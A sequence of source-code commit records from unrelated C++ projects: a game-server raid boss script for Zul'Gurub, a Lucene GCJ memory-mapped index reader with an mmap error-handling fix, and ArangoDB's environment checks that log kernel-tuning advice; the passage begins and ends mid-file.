_unit->setAttackTimer(spells[i].attackstoptimer, false);
m_spellcheck[i] = true;
}
comulativeperc += spells[i].perctrigger;
}
}
}
protected:
int nrspells;
};
/*
Venoxis comes with 4 snake adds. He stays in priest form initially, where he casts Holy Nova, Holy Fire, and Renew.
He can also cast Holy Wrath, a spell which jumps from person to person with damage increasing exponentially as it hits people (9000dmg per hit isn't uncommon).
He later shifts to snake form, where his melee damage goes up dramatically and he releases a poison cloud AoE (500dmg/tick).
*/
#define CN_MARLI
#define SUMMON_SPIDERS 24081 // TODO: SUMMON WILDS
#define SPIDER_TRANSFORM 24084
/*
Mar'li has two main forms, like the other bosses in Zul'Gurub.
She starts off in her troll form where she can spawn adds and cast 30 yard AoE poison.
These spider adds quickly gain strength and size if not killed quickly.
When she transforms into her spider form she will web everyone standing near her in place and charge.
As soon as she webs everyone she will attack the person with the highest aggro that has not been webbed (usually a healer if they are out of range.)
*/
void SetupZulGurub(ScriptMgr * mgr)
{
mgr->register_creature_script(CN_JEKLIK, &JeklikAI::Create);
mgr->register_creature_script(CN_VENOXIS, &VenoxisAI::Create);
}<commit_msg>missing new line at end of cpp<commit_after>#include "StdAfx.h"
#include "Setup.h"
/************************************************************************/
/* Raid_ZulGurub.cpp Script */
/************************************************************************/
// High Priestess Jeklik AI
#define CN_JEKLIK 14517
#define TRANSFORM_BAT 23966 // TODO: MISSING CREATURE_NAME TO TRANSFORM
#define CRUSHING_BLOW 24257
#define CRUSHING_AOE_SILENCE 24687
#define MIND_FLAY 23953
#define SUMMON_BATS 23974 // TODO EFFECT :P
#define SHADOW_WORD_PAIN 24212
#define GREAT_HEAL 29564
// agro/transform sound -> 8417
class JeklikAI : public CreatureAIScript
{
public:
ADD_CREATURE_FACTORY_FUNCTION(JeklikAI);
SP_AI_Spell spells[6];
bool m_spellcheck[6];
JeklikAI(Creature* pCreature) : CreatureAIScript(pCreature)
{
// -- Number of spells to add --
nrspells = 6;
// --- Initialization ---
for(int i=0;i<nrspells;i++)
{
m_spellcheck[i] = false;
}
// ----------------------
// Create basic info for spells here, and play with it later , fill always the info, targettype and if is instant or not!
spells[0].info = dbcSpell.LookupEntry(TRANSFORM_BAT);
spells[0].targettype = TARGET_SELF;
spells[0].instant = true;
spells[0].perctrigger = 0.0f;
spells[0].attackstoptimer = 1000; // 1sec
m_spellcheck[0] = true;
spells[1].info = dbcSpell.LookupEntry(CRUSHING_BLOW);
spells[1].targettype = TARGET_ATTACKING;
spells[1].instant = false;
spells[1].perctrigger = 10.0f;
spells[1].attackstoptimer = 2000; // 1sec
spells[2].info = dbcSpell.LookupEntry(CRUSHING_AOE_SILENCE);
spells[2].targettype = TARGET_VARIOUS;
spells[2].instant = false;
spells[2].perctrigger = 10.0f;
spells[2].attackstoptimer = 2000; // 1sec
// 2 phase spells
spells[3].info = dbcSpell.LookupEntry(MIND_FLAY);
spells[3].targettype = TARGET_ATTACKING;
spells[3].instant = false;
spells[3].perctrigger = 10.0f;
spells[3].attackstoptimer = 6000; // 1sec
spells[4].info = dbcSpell.LookupEntry(SHADOW_WORD_PAIN);
spells[4].targettype = TARGET_ATTACKING;
spells[4].instant = false;
spells[4].perctrigger = 10.0f;
spells[4].attackstoptimer = 2000; // 1sec
spells[5].info = dbcSpell.LookupEntry(GREAT_HEAL);
spells[5].targettype = TARGET_SELF;
spells[5].instant = false;
spells[5].perctrigger = 10.0f;
spells[5].attackstoptimer = 10000; // 1sec
}
void OnCombatStart(Unit* mTarget)
{
RegisterAIUpdateEvent(_unit->GetUInt32Value(UNIT_FIELD_BASEATTACKTIME));
// bat transform
_unit->CastSpell(_unit, spells[0].info, spells[0].instant);
_unit->PlaySoundToSet(8417);
}
void OnCombatStop(Unit *mTarget)
{
_unit->GetAIInterface()->setCurrentAgent(AGENT_NULL);
_unit->GetAIInterface()->SetAIState(STATE_IDLE);
RemoveAIUpdateEvent();
_unit->RemoveAura(TRANSFORM_BAT);
}
void OnDied(Unit * mKiller)
{
RemoveAIUpdateEvent();
}
void AIUpdate()
{
if(_unit->GetHealthPct() <= 50 && m_spellcheck[0])
{
m_spellcheck[0] = false;
_unit->RemoveAura(TRANSFORM_BAT);
}
float val = (float)RandomFloat(100.0f);
SpellCast(val);
}
void SpellCast(float val)
{
if(_unit->GetCurrentSpell() == NULL && _unit->GetAIInterface()->GetNextTarget())
{
float comulativeperc = 0;
Unit *target = NULL;
for(int i=0;i<nrspells;i++)
{
if(!spells[i].perctrigger) continue;
// do another set of spells on transform
if(_unit->GetHealthPct() <= 50 && i < 3) continue;
if(m_spellcheck[i])
{
target = _unit->GetAIInterface()->GetNextTarget();
switch(spells[i].targettype)
{
case TARGET_SELF:
case TARGET_VARIOUS:
_unit->CastSpell(_unit, spells[i].info, spells[i].instant); break;
case TARGET_ATTACKING:
_unit->CastSpell(target, spells[i].info, spells[i].instant); break;
case TARGET_DESTINATION:
_unit->CastSpellAoF(target->GetPositionX(),target->GetPositionY(),target->GetPositionZ(), spells[i].info, spells[i].instant); break;
}
m_spellcheck[i] = false;
return;
}
if(val > comulativeperc && val <= (comulativeperc + spells[i].perctrigger))
{
_unit->setAttackTimer(spells[i].attackstoptimer, false);
m_spellcheck[i] = true;
}
comulativeperc += spells[i].perctrigger;
}
}
}
protected:
int nrspells;
};
/*
Jeklik begins the encounter in bat form. In this form she has an AoE silence that also damages.
She randomly charges people in the group, and summons 6-8 bloodseeker bats once per minute.
When she drops below 50% HP, she reverts to priest form. Here she casts Shadow Word: Pain, Mind Flay, Chain Mind Flay and Greater Heal.
She also summons bomb bats which drop fire bombs on the ground which AOE DoT those inside.
*/
// High Priestess Venoxis AI
#define CN_VENOXIS 14507 // TODO: MISSING CREATURE_NAME TO TRANSFORM
#define HOLY_NOVA 23858 // various targets
#define HOLY_FIRE 23860 // various targets
#define TRANSFORM_SNAKE 23849
#define SPIT_POISON 24688 // various targets
class VenoxisAI : public CreatureAIScript
{
public:
ADD_CREATURE_FACTORY_FUNCTION(VenoxisAI);
SP_AI_Spell spells[4];
bool m_spellcheck[4];
VenoxisAI(Creature* pCreature) : CreatureAIScript(pCreature)
{
// -- Number of spells to add --
nrspells = 4;
// --- Initialization ---
for(int i=0;i<nrspells;i++)
{
m_spellcheck[i] = false;
}
// ----------------------
// Create basic info for spells here, and play with it later , fill always the info, targettype and if is instant or not!
spells[0].info = dbcSpell.LookupEntry(TRANSFORM_SNAKE);
spells[0].targettype = TARGET_SELF;
spells[0].instant = false;
spells[0].perctrigger = 0.0f;
spells[0].attackstoptimer = 1000; // 1sec
m_spellcheck[0] = true;
spells[1].info = dbcSpell.LookupEntry(HOLY_NOVA);
spells[1].targettype = TARGET_VARIOUS;
spells[1].instant = false;
spells[1].perctrigger = 10.0f;
spells[1].attackstoptimer = 2000; // 2sec
spells[2].info = dbcSpell.LookupEntry(HOLY_FIRE);
spells[2].targettype = TARGET_VARIOUS;
spells[2].instant = false;
spells[2].perctrigger = 10.0f;
spells[2].attackstoptimer = 2000; // 2sec
spells[3].info = dbcSpell.LookupEntry(SPIT_POISON);
spells[3].targettype = TARGET_VARIOUS;
spells[3].instant = false;
spells[3].perctrigger = 10.0f;
spells[3].attackstoptimer = 2000; // 2sec
// ----------------------------------------------------------
}
void OnCombatStart(Unit* mTarget)
{
RegisterAIUpdateEvent(_unit->GetUInt32Value(UNIT_FIELD_BASEATTACKTIME));
}
void OnCombatStop(Unit *mTarget)
{
_unit->GetAIInterface()->setCurrentAgent(AGENT_NULL);
_unit->GetAIInterface()->SetAIState(STATE_IDLE);
RemoveAIUpdateEvent();
_unit->RemoveAura(TRANSFORM_SNAKE);
}
void OnDied(Unit * mKiller)
{
RemoveAIUpdateEvent();
}
void AIUpdate()
{
if(_unit->GetHealthPct() <= 50 && m_spellcheck[0])
{
//cast snake transform
_unit->CastSpell(_unit, spells[0].info, spells[0].instant);
m_spellcheck[0] = false;
}
float val = (float)RandomFloat(100.0f);
SpellCast(val);
}
void SpellCast(float val)
{
if(_unit->GetCurrentSpell() == NULL && _unit->GetAIInterface()->GetNextTarget())
{
float comulativeperc = 0;
Unit *target = NULL;
for(int i=0;i<nrspells;i++)
{
if(!spells[i].perctrigger) continue;
// do another set of spells on transform
if(_unit->GetHealthPct() <= 50 && i < 3) continue;
if(m_spellcheck[i])
{
target = _unit->GetAIInterface()->GetNextTarget();
switch(spells[i].targettype)
{
case TARGET_SELF:
case TARGET_VARIOUS:
_unit->CastSpell(_unit, spells[i].info, spells[i].instant); break;
case TARGET_ATTACKING:
_unit->CastSpell(target, spells[i].info, spells[i].instant); break;
case TARGET_DESTINATION:
_unit->CastSpellAoF(target->GetPositionX(),target->GetPositionY(),target->GetPositionZ(), spells[i].info, spells[i].instant); break;
}
m_spellcheck[i] = false;
return;
}
if(val > comulativeperc && val <= (comulativeperc + spells[i].perctrigger))
{
_unit->setAttackTimer(spells[i].attackstoptimer, false);
m_spellcheck[i] = true;
}
comulativeperc += spells[i].perctrigger;
}
}
}
protected:
int nrspells;
};
/*
Venoxis comes with 4 snake adds. He stays in priest form initially, where he casts Holy Nova, Holy Fire, and Renew.
He can also cast Holy Wrath, a spell which jumps from person to person with damage increasing exponentially as it hits people (9000dmg per hit isn't uncommon).
He later shifts to snake form, where his melee damage goes up dramatically and he releases a poison cloud AoE (500dmg/tick).
*/
#define CN_MARLI
#define SUMMON_SPIDERS 24081 // TODO: SUMMON WILDS
#define SPIDER_TRANSFORM 24084
/*
Mar'li has two main forms, like the other bosses in Zul'Gurub.
She starts off in her troll form where she can spawn adds and cast 30 yard AoE poison.
These spider adds quickly gain strength and size if not killed quickly.
When she transforms into her spider form she will web everyone standing near her in place and charge.
As soon as she webs everyone she will attack the person with the highest aggro that has not been webbed (usually a healer if they are out of range.)
*/
void SetupZulGurub(ScriptMgr * mgr)
{
mgr->register_creature_script(CN_JEKLIK, &JeklikAI::Create);
mgr->register_creature_script(CN_VENOXIS, &VenoxisAI::Create);
}
<|endoftext|>
|
<commit_before>#include <org/apache/lucene/store/GCJIndexInput.h>
#include <gnu/gcj/RawData.h>
#include <java/io/IOException.h>
#include <gcj/cni.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <unistd.h>
#include <iostream>
using namespace ::std;
using namespace ::java::io;
using namespace ::gnu::gcj;
using namespace ::org::apache::lucene::store;
#define RAW(X) reinterpret_cast< RawData*>(X)
#define BYTES(X) reinterpret_cast< jbyte *>(X)
void GCJIndexInput::open() {
// convert the Java String file name to a char*
char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (file) + 1);
jsize total = JvGetStringUTFRegion (file, 0, file->length(), buf);
buf[total] = '\0';
// open the file
fd = ::open (buf, O_RDONLY);
if (fd < 0)
throw new IOException(JvNewStringLatin1(strerror(errno)));
// stat it
struct stat sb;
if (::fstat (fd, &sb))
throw new IOException(JvNewStringLatin1(strerror(errno)));
// get length from stat
fileLength = sb.st_size;
// mmap the file
data = RAW(::mmap(0, fileLength, PROT_READ, MAP_SHARED, fd, 0));
if (data < 0)
throw new IOException(JvNewStringLatin1(strerror(errno)));
// initialize pointer to the start of the file
pointer = data;
}
jbyte GCJIndexInput::readByte() {
// if (getFilePointer() >= fileLength)
// throw new IOException(JvNewStringLatin1("EOF"));
//return *(BYTES(pointer)++);
jbyte* bytes = BYTES(pointer);
jbyte byte = *(bytes++);
pointer = RAW(bytes);
return byte;
}
void GCJIndexInput::readBytes(jbyteArray buffer, jint start, jint length) {
memcpy(elements(buffer)+start, pointer, length);
// BYTES(pointer) += length;
jbyte* bytes = BYTES(pointer);
bytes += length;
pointer = RAW(bytes);
}
jint GCJIndexInput::readVInt() {
// if (getFilePointer() >= fileLength)
// throw new IOException(JvNewStringLatin1("EOF"));
jbyte* bytes = BYTES(pointer);
jbyte b = *(bytes++);
jint i = b & 0x7F;
for (int shift = 7; (b & 0x80) != 0; shift += 7) {
b = *(bytes++);
i |= (b & 0x7F) << shift;
}
pointer = RAW(bytes);
return i;
}
void GCJIndexInput::doClose() {
::munmap(data, fileLength);
::close(fd);
}
jlong GCJIndexInput::getFilePointer() {
return BYTES(pointer) - BYTES(data);
}
void GCJIndexInput::seek(jlong offset) {
pointer = RAW(BYTES(data) + offset);
}
<commit_msg>Correctly translate errors from mmap() into exceptions.<commit_after>#include <org/apache/lucene/store/GCJIndexInput.h>
#include <gnu/gcj/RawData.h>
#include <java/io/IOException.h>
#include <gcj/cni.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <unistd.h>
#include <iostream>
using namespace ::std;
using namespace ::java::io;
using namespace ::gnu::gcj;
using namespace ::org::apache::lucene::store;
#define RAW(X) reinterpret_cast< RawData*>(X)
#define BYTES(X) reinterpret_cast< jbyte *>(X)
void GCJIndexInput::open() {
// convert the Java String file name to a char*
char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (file) + 1);
jsize total = JvGetStringUTFRegion (file, 0, file->length(), buf);
buf[total] = '\0';
// open the file
fd = ::open (buf, O_RDONLY);
if (fd < 0)
throw new IOException(JvNewStringLatin1(strerror(errno)));
// stat it
struct stat sb;
if (::fstat (fd, &sb))
throw new IOException(JvNewStringLatin1(strerror(errno)));
// get length from stat
fileLength = sb.st_size;
// mmap the file
// cout << "mmapping " << buf << "\n";
void* address = ::mmap(0, fileLength, PROT_READ, MAP_SHARED, fd, 0);
if (address == MAP_FAILED)
throw new IOException(JvNewStringLatin1(strerror(errno)));
// initialize pointer to the start of the file
data = RAW(address);
pointer = data;
}
jbyte GCJIndexInput::readByte() {
// if (getFilePointer() >= fileLength)
// throw new IOException(JvNewStringLatin1("EOF"));
//return *(BYTES(pointer)++);
jbyte* bytes = BYTES(pointer);
jbyte byte = *(bytes++);
pointer = RAW(bytes);
return byte;
}
void GCJIndexInput::readBytes(jbyteArray buffer, jint start, jint length) {
memcpy(elements(buffer)+start, pointer, length);
// BYTES(pointer) += length;
jbyte* bytes = BYTES(pointer);
bytes += length;
pointer = RAW(bytes);
}
jint GCJIndexInput::readVInt() {
// if (getFilePointer() >= fileLength)
// throw new IOException(JvNewStringLatin1("EOF"));
jbyte* bytes = BYTES(pointer);
jbyte b = *(bytes++);
jint i = b & 0x7F;
for (int shift = 7; (b & 0x80) != 0; shift += 7) {
b = *(bytes++);
i |= (b & 0x7F) << shift;
}
pointer = RAW(bytes);
return i;
}
void GCJIndexInput::doClose() {
::munmap(data, fileLength);
::close(fd);
}
jlong GCJIndexInput::getFilePointer() {
return BYTES(pointer) - BYTES(data);
}
void GCJIndexInput::seek(jlong offset) {
pointer = RAW(BYTES(data) + offset);
}
<|endoftext|>
|
<commit_before>////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2016 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Jan Steemann
////////////////////////////////////////////////////////////////////////////////
#include "EnvironmentFeature.h"
#include "Basics/process-utils.h"
#include "Basics/FileUtils.h"
#include "Basics/StringUtils.h"
#include "Logger/Logger.h"
#include "RocksDBEngine/RocksDBEngine.h"
#include "StorageEngine/EngineSelectorFeature.h"
#include <sys/sysinfo.h>
using namespace arangodb;
using namespace arangodb::basics;
EnvironmentFeature::EnvironmentFeature(
application_features::ApplicationServer* server)
: ApplicationFeature(server, "Environment") {
setOptional(false);
requiresElevatedPrivileges(false);
startsAfter("Greetings");
startsAfter("Logger");
}
void EnvironmentFeature::prepare() {
if (sizeof(void*) == 4) {
// 32 bit build
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "this is a 32 bit build of ArangoDB. "
<< "it is recommended to run a 64 bit build instead because it can "
<< "address significantly bigger regions of memory";
}
#ifdef __linux__
// test local ipv4 port range
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/net/ipv4/ip_local_port_range");
std::vector<std::string> parts = basics::StringUtils::split(value, '\t');
if (parts.size() == 2) {
uint64_t lower = basics::StringUtils::uint64(parts[0]);
uint64_t upper = basics::StringUtils::uint64(parts[1]);
if (lower > upper || (upper - lower) < 16384) {
LOG_TOPIC(WARN, arangodb::Logger::COMMUNICATION)
<< "local port range for ipv4/ipv6 ports is " << lower << " - " << upper
<< ", which does not look right. it is recommended to make at least 16K ports available";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo -e \\\"32768\\t60999\\\" > "
"/proc/sys/net/ipv4/ip_local_port_range\"' or use an even bigger port range";
}
}
} catch (...) {
// file not found or values not convertible into integers
}
// test value tcp_tw_recycle
// https://vincent.bernat.im/en/blog/2014-tcp-time-wait-state-linux
// https://stackoverflow.com/questions/8893888/dropping-of-connections-with-tcp-tw-recycle
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/net/ipv4/tcp_tw_recycle");
uint64_t v = basics::StringUtils::uint64(value);
if (v != 0) {
LOG_TOPIC(WARN, Logger::COMMUNICATION)
<< "/proc/sys/net/ipv4/tcp_tw_recycle is enabled (" << v << ")"
<< "'. This can lead to all sorts of \"random\" network problems. "
<< "It is advised to leave it disabled (should be kernel default)";
LOG_TOPIC(WARN, Logger::COMMUNICATION) << "execute 'sudo bash -c \"echo 0 > "
"/proc/sys/net/ipv4/tcp_tw_recycle\"'";
}
} catch (...) {
// file not found or value not convertible into integer
}
#ifdef __GLIBC__
// test presence of environment variable GLIBCXX_FORCE_NEW
char const* v = getenv("GLIBCXX_FORCE_NEW");
if (v == nullptr) {
// environment variable not set
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "environment variable GLIBCXX_FORCE_NEW' is not set. "
<< "it is recommended to set it to some value to avoid unnecessary memory pooling in glibc++";
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "execute 'export GLIBCXX_FORCE_NEW=1'";
}
#endif
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/vm/zone_reclaim_mode");
uint64_t v = basics::StringUtils::uint64(value);
if (v != 0) {
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// This is value ORed together of
// 1 = Zone reclaim on
// 2 = Zone reclaim writes dirty pages out
// 4 = Zone reclaim swaps pages
//
// https://www.poempelfox.de/blog/2010/03/19/
LOG_TOPIC(WARN, Logger::PERFORMANCE)
<< "/proc/sys/vm/zone_reclaim_mode is set to '" << v
<< "'. It is recommended to set it to a value of 0";
LOG_TOPIC(WARN, Logger::PERFORMANCE)
<< "execute 'sudo bash -c \"echo 0 > "
"/proc/sys/vm/zone_reclaim_mode\"'";
}
} catch (...) {
// file not found or value not convertible into integer
}
bool showHuge = false;
std::vector<std::string> paths = {
"/sys/kernel/mm/transparent_hugepage/enabled",
"/sys/kernel/mm/transparent_hugepage/defrag"};
for (auto file : paths) {
try {
std::string value = basics::FileUtils::slurp(file);
size_t start = value.find('[');
size_t end = value.find(']');
if (start != std::string::npos && end != std::string::npos &&
start < end && end - start >= 4) {
value = value.substr(start + 1, end - start - 1);
if (value == "always") {
LOG_TOPIC(WARN, Logger::MEMORY)
<< file << " is set to '" << value
<< "'. It is recommended to set it to a value of 'never' "
"or 'madvise'";
showHuge = true;
}
}
} catch (...) {
// file not found
}
}
if (showHuge) {
for (auto file : paths) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "execute 'sudo bash -c \"echo madvise > " << file << "\"'";
}
}
bool numa = FileUtils::exists("/sys/devices/system/node/node1");
if (numa) {
try {
std::string value = basics::FileUtils::slurp("/proc/self/numa_maps");
auto values = basics::StringUtils::split(value, '\n', '\0');
if (!values.empty()) {
auto first = values[0];
auto where = first.find(' ');
if (where != std::string::npos &&
!StringUtils::isPrefix(first.substr(where), " interleave")) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "It is recommended to set NUMA to interleaved.";
LOG_TOPIC(WARN, Logger::MEMORY)
<< "put 'numactl --interleave=all' in front of your command";
}
}
} catch (...) {
// file not found
}
}
#endif
}
void EnvironmentFeature::start() {
#ifdef __linux__
bool usingRocksDB =
(EngineSelectorFeature::engineName() == RocksDBEngine::EngineName);
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/vm/overcommit_memory");
uint64_t v = basics::StringUtils::uint64(value);
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// When this flag is 0, the kernel attempts to estimate the amount
// of free memory left when userspace requests more memory.
// When this flag is 1, the kernel pretends there is always enough
// memory until it actually runs out.
// When this flag is 2, the kernel uses a "never overcommit"
// policy that attempts to prevent any overcommit of memory.
std::string ratio =
basics::FileUtils::slurp("/proc/sys/vm/overcommit_ratio");
uint64_t r = basics::StringUtils::uint64(ratio);
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// When overcommit_memory is set to 2, the committed address
// space is not permitted to exceed swap plus this percentage
// of physical RAM.
if (usingRocksDB) {
if (v != 2) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_memory is set to '" << v
<< "'. It is recommended to set it to a value of 2";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo 2 > "
<< "/proc/sys/vm/overcommit_memory\"'";
}
} else {
if (v == 1) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_memory is set to '" << v
<< "'. It is recommended to set it to a value of 0 or 2";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo 2 > "
<< "/proc/sys/vm/overcommit_memory\"'";
}
}
if (v == 2) {
struct sysinfo info;
int res = sysinfo(&info);
if (res == 0) {
double swapSpace = static_cast<double>(info.totalswap);
double ram = static_cast<double>(TRI_PhysicalMemory);
double rr = (ram >= swapSpace)
? 100.0 * ((ram - swapSpace) / ram)
: 0.0;
if (static_cast<double>(r) > 1.05 * rr ||
static_cast<double>(r) < 0.95 * r) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_ratio is set to '" << r
<< "'. It is recommended to set it to " << static_cast<size_t>(rr)
<< " (100 * (max(0, (RAM - Swap Space)) / RAM)).";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo "
<< rr << " > "
<< "/proc/sys/vm/overcommit_ratio\"'";
}
}
}
} catch (...) {
// file not found or value not convertible into integer
}
#endif
}
<commit_msg>fix compile error on non-Linux platforms (#2641)<commit_after>////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2016 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Jan Steemann
////////////////////////////////////////////////////////////////////////////////
#include "EnvironmentFeature.h"
#include "Basics/process-utils.h"
#include "Basics/FileUtils.h"
#include "Basics/StringUtils.h"
#include "Logger/Logger.h"
#include "RocksDBEngine/RocksDBEngine.h"
#include "StorageEngine/EngineSelectorFeature.h"
#ifdef __linux__
#include <sys/sysinfo.h>
#endif
using namespace arangodb;
using namespace arangodb::basics;
EnvironmentFeature::EnvironmentFeature(
application_features::ApplicationServer* server)
: ApplicationFeature(server, "Environment") {
setOptional(false);
requiresElevatedPrivileges(false);
startsAfter("Greetings");
startsAfter("Logger");
}
void EnvironmentFeature::prepare() {
if (sizeof(void*) == 4) {
// 32 bit build
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "this is a 32 bit build of ArangoDB. "
<< "it is recommended to run a 64 bit build instead because it can "
<< "address significantly bigger regions of memory";
}
#ifdef __linux__
// test local ipv4 port range
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/net/ipv4/ip_local_port_range");
std::vector<std::string> parts = basics::StringUtils::split(value, '\t');
if (parts.size() == 2) {
uint64_t lower = basics::StringUtils::uint64(parts[0]);
uint64_t upper = basics::StringUtils::uint64(parts[1]);
if (lower > upper || (upper - lower) < 16384) {
LOG_TOPIC(WARN, arangodb::Logger::COMMUNICATION)
<< "local port range for ipv4/ipv6 ports is " << lower << " - " << upper
<< ", which does not look right. it is recommended to make at least 16K ports available";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo -e \\\"32768\\t60999\\\" > "
"/proc/sys/net/ipv4/ip_local_port_range\"' or use an even bigger port range";
}
}
} catch (...) {
// file not found or values not convertible into integers
}
// test value tcp_tw_recycle
// https://vincent.bernat.im/en/blog/2014-tcp-time-wait-state-linux
// https://stackoverflow.com/questions/8893888/dropping-of-connections-with-tcp-tw-recycle
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/net/ipv4/tcp_tw_recycle");
uint64_t v = basics::StringUtils::uint64(value);
if (v != 0) {
LOG_TOPIC(WARN, Logger::COMMUNICATION)
<< "/proc/sys/net/ipv4/tcp_tw_recycle is enabled (" << v << ")"
<< "'. This can lead to all sorts of \"random\" network problems. "
<< "It is advised to leave it disabled (should be kernel default)";
LOG_TOPIC(WARN, Logger::COMMUNICATION) << "execute 'sudo bash -c \"echo 0 > "
"/proc/sys/net/ipv4/tcp_tw_recycle\"'";
}
} catch (...) {
// file not found or value not convertible into integer
}
#ifdef __GLIBC__
// test presence of environment variable GLIBCXX_FORCE_NEW
char const* v = getenv("GLIBCXX_FORCE_NEW");
if (v == nullptr) {
// environment variable not set
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "environment variable GLIBCXX_FORCE_NEW' is not set. "
<< "it is recommended to set it to some value to avoid unnecessary memory pooling in glibc++";
LOG_TOPIC(WARN, arangodb::Logger::MEMORY)
<< "execute 'export GLIBCXX_FORCE_NEW=1'";
}
#endif
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/vm/zone_reclaim_mode");
uint64_t v = basics::StringUtils::uint64(value);
if (v != 0) {
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// This is value ORed together of
// 1 = Zone reclaim on
// 2 = Zone reclaim writes dirty pages out
// 4 = Zone reclaim swaps pages
//
// https://www.poempelfox.de/blog/2010/03/19/
LOG_TOPIC(WARN, Logger::PERFORMANCE)
<< "/proc/sys/vm/zone_reclaim_mode is set to '" << v
<< "'. It is recommended to set it to a value of 0";
LOG_TOPIC(WARN, Logger::PERFORMANCE)
<< "execute 'sudo bash -c \"echo 0 > "
"/proc/sys/vm/zone_reclaim_mode\"'";
}
} catch (...) {
// file not found or value not convertible into integer
}
bool showHuge = false;
std::vector<std::string> paths = {
"/sys/kernel/mm/transparent_hugepage/enabled",
"/sys/kernel/mm/transparent_hugepage/defrag"};
for (auto file : paths) {
try {
std::string value = basics::FileUtils::slurp(file);
size_t start = value.find('[');
size_t end = value.find(']');
if (start != std::string::npos && end != std::string::npos &&
start < end && end - start >= 4) {
value = value.substr(start + 1, end - start - 1);
if (value == "always") {
LOG_TOPIC(WARN, Logger::MEMORY)
<< file << " is set to '" << value
<< "'. It is recommended to set it to a value of 'never' "
"or 'madvise'";
showHuge = true;
}
}
} catch (...) {
// file not found
}
}
if (showHuge) {
for (auto file : paths) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "execute 'sudo bash -c \"echo madvise > " << file << "\"'";
}
}
bool numa = FileUtils::exists("/sys/devices/system/node/node1");
if (numa) {
try {
std::string value = basics::FileUtils::slurp("/proc/self/numa_maps");
auto values = basics::StringUtils::split(value, '\n', '\0');
if (!values.empty()) {
auto first = values[0];
auto where = first.find(' ');
if (where != std::string::npos &&
!StringUtils::isPrefix(first.substr(where), " interleave")) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "It is recommended to set NUMA to interleaved.";
LOG_TOPIC(WARN, Logger::MEMORY)
<< "put 'numactl --interleave=all' in front of your command";
}
}
} catch (...) {
// file not found
}
}
#endif
}
void EnvironmentFeature::start() {
#ifdef __linux__
bool usingRocksDB =
(EngineSelectorFeature::engineName() == RocksDBEngine::EngineName);
try {
std::string value =
basics::FileUtils::slurp("/proc/sys/vm/overcommit_memory");
uint64_t v = basics::StringUtils::uint64(value);
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// When this flag is 0, the kernel attempts to estimate the amount
// of free memory left when userspace requests more memory.
// When this flag is 1, the kernel pretends there is always enough
// memory until it actually runs out.
// When this flag is 2, the kernel uses a "never overcommit"
// policy that attempts to prevent any overcommit of memory.
std::string ratio =
basics::FileUtils::slurp("/proc/sys/vm/overcommit_ratio");
uint64_t r = basics::StringUtils::uint64(ratio);
// from https://www.kernel.org/doc/Documentation/sysctl/vm.txt:
//
// When overcommit_memory is set to 2, the committed address
// space is not permitted to exceed swap plus this percentage
// of physical RAM.
if (usingRocksDB) {
if (v != 2) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_memory is set to '" << v
<< "'. It is recommended to set it to a value of 2";
LOG_TOPIC(WARN, Logger::MEMORY) << "execute 'sudo bash -c \"echo 2 > "
<< "/proc/sys/vm/overcommit_memory\"'";
}
} else {
if (v == 1) {
LOG_TOPIC(WARN, Logger::MEMORY)
<< "/proc/sys/vm/overcommit_memory is set to '" << v
